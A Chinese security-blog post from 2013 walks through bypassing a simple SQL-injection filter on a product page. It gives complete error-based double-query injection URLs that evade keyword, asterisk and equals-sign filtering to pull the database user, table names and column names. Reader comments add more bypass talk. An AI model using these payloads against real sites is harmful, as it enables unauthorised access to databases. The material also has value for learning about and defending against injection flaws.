您的位置 » 首页 » 渗透测试 » 渗透测试:记一次绕过简单SQL防注入爆菊

渗透测试:记一次绕过简单SQL防注入爆菊

发表于4年前 | 作者: seay | 分类: 渗透测试 | 孵化于:2013年03月18日 | 文章热度:11,966 次 全屏阅读

显示不全请点击全屏阅读

(原创)记一次绕过简单SQL注入爆菊

目标站用www.cnseay.com代替。

打开网站,点开一个产品页面。在?id=62 后面加单引号,如下图

判断出参数id无单引号保护,且GPC开启,无单引号就好办多了。

不过经测试,发现以下问题:

1、常用注入关键字unionselectfrom、星号(*)、等号等均被替换为空。

2、参数被多条SQL语句使用,只能用第一条语句双查询报错注入。

OK,知道了限制,我们就可以想绕过方法来玩了。

通过测试发现。unionselectfrom等关键字可大小写绕过。

OK,接下来就要用双查询就可以得到数据了。比较常用的双查询语句:

(select 1 from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)

可以看到有星号,星号是会被替换为空的,那就办法不用星号吧。

第一个星号处:count(*)  我把它换成count(1)

第二个星号处:floor(rand(0)*2)  怎么搞呢?

其实很简单,1*2=???  等于2吧,那乘法换成除法呢?

那就是1/0.5 还是等于2

那等号呢??

我们可以用大于或者小于绕过。

所以最终的语句为:

http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(select USER()))a frOm information_schema.tables gRoup by a)b)– 1

 

 

那查其他表数据呢?

union select 1,2,..,group_concat(table_name) from information_schema.tables where table_schema =database()

这里有等号啊。怎么绕???????

 

 

可以用in()查询。

爆表名:

http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct table_name fRom information_schema.tables wHere table_schema in(database())limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1

 

爆列名:

http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct column_name fRom information_schema.columns whEre table_name in(char(101,100,117,99,109,115,95,97,100,109,105,110)) aNd table_schema in(database()) limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1

 

 

Tags:

渗透测试,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2418/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有14个筒子的人留下了脚印...

  • A.m 说:
    1楼
    2013 年 3 月 18 日 上午 12:45 回复

    SF 😳

  • hhht 说:
    2楼
    2013 年 3 月 18 日 上午 9:42 回复

    请问楼主:什么是单引号保护啊

    • 【管理员】seay 说:
      2013 年 3 月 18 日 上午 10:10 回复

      select * from admin where id=’111′

  • 【管理员】seay 说:
    3楼
    2013 年 3 月 18 日 上午 10:10 回复

    select * from admin where id=’111′

  • amso 说:
    4楼
    2013 年 3 月 19 日 下午 7:03 回复

    请问seay 代码审计有入门概念性的书吗?

    • 【管理员】seay 说:
      2013 年 3 月 19 日 下午 7:59 回复

      我博客不是这么多么

  • Pw 说:
    5楼
    2013 年 3 月 20 日 上午 11:51 回复

    如果有单引号的,并且被’会被转义,怎么办? ❓

    • 【管理员】seay 说:
      2013 年 3 月 20 日 下午 6:29 回复

      撸两把再来就不会了

    • adshy 说:
      2016 年 8 月 7 日 上午 8:33 回复

      宽字节注入绕过单引号保护 不过鸡肋

  • 晴天小猪 说:
    6楼
    2013 年 3 月 22 日 下午 4:53 回复

    亲爱的我来看你了

    • 【管理员】seay 说:
      2013 年 3 月 22 日 下午 5:05 回复

      :smile:

  • Kevin 说:
    7楼
    2013 年 3 月 23 日 下午 5:30 回复

    😈

  • kk 说:
    8楼
    2013 年 3 月 31 日 下午 1:24 回复

    select 1 from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)

    被替换成
    union select 1 from (select count(*#,concat#floor(rand(0#*2#,#select user#)))a from information_schema.tables group by a)b

    博主这个怎么破啊
    😈

    • 【管理员】seay 说:
      2013 年 3 月 31 日 下午 6:34 回复

      找出过滤规则,就有办法搞的

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)